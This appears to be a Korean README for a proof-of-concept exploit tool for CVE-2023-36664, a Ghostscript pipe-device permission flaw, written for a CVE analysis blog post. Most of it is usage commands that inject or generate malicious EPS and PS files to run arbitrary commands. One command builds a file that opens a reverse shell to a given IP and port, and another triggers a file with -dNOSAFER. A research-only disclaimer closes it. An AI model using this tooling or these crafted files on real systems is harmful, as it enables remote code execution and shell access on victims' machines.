
버전 10.01.2 이전의 Ghostscript에서 공개된 취약점은 코드 실행으로 이어집니다 (CVSS 점수 9.8).
공식 취약점 설명:
Artifex Ghostscript 10.01.2까지는 파이프 장치(%pipe% 접두사 또는 | 파이프 문자 접두사)에 대한 권한 검증을 잘못 처리합니다.
Debian은 임의 명령 실행 가능성을 언급하는 보안 권고를 발표했습니다:
"Ghostscript, GPL PostScript/PDF 인터프리터가 파이프 장치에 대한 권한 검증을 제대로 처리하지 않아, 잘못된 형식의 문서 파일이 처리될 경우 임의 명령이 실행될 수 있다는 것이 발견되었습니다."
이 저장소는 vsociety 블로그에 게시된 CVE 분석 블로그 게시물을 위해 만들어졌습니다.
Ghostscript 10.01.1을 여기서 다운로드하세요: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Windows x64 실행 파일 직접 링크: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
PS 또는 EPS 파일을 여는 것만으로도 익스플로잇이 발생할 수 있으며, Ghostscript가 파이프 장치에 대한 권한 검증을 잘못 처리하여 코드 실행이 가능해집니다.
사용법: python3 CVE_2023_36664_exploit.py <input_file> <command>
예시:
python3 CVE_2023_36664_exploit.py file.eps "calc"
그러면 file_injected.eps라는 새 파일이 생성됩니다.
이 파일을 Ghostscript로 열면 계산기가 실행됩니다 (버전 9.50부터는 -dNOSAFER 옵션도 사용해야 합니다):
gs10011w64.exe -dNOSAFER .\file_injected.eps
다른 예시: 페이로드 "calc"로 run_calculator.eps라는 새 EPS 파일 생성 (Windows에서 새 계산기가 팝업됩니다)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
사용자 지정 IP로 rev_shell.eps라는 새 EPS 파일 생성 (Unix에서 트리거 시 리버스 셸 시작)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
페이로드 "calc"로 malicius.ps라는 새 PS 파일 생성 (Windows에서 새 계산기가 팝업됩니다)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
file.eps라는 기존 파일에 악성 사용자 지정 페이로드("calc") 주입 (Windows에서 새 계산기가 팝업됩니다)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
이 소프트웨어는 순전히 학술 연구와 효과적인 방어 기법 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하세요.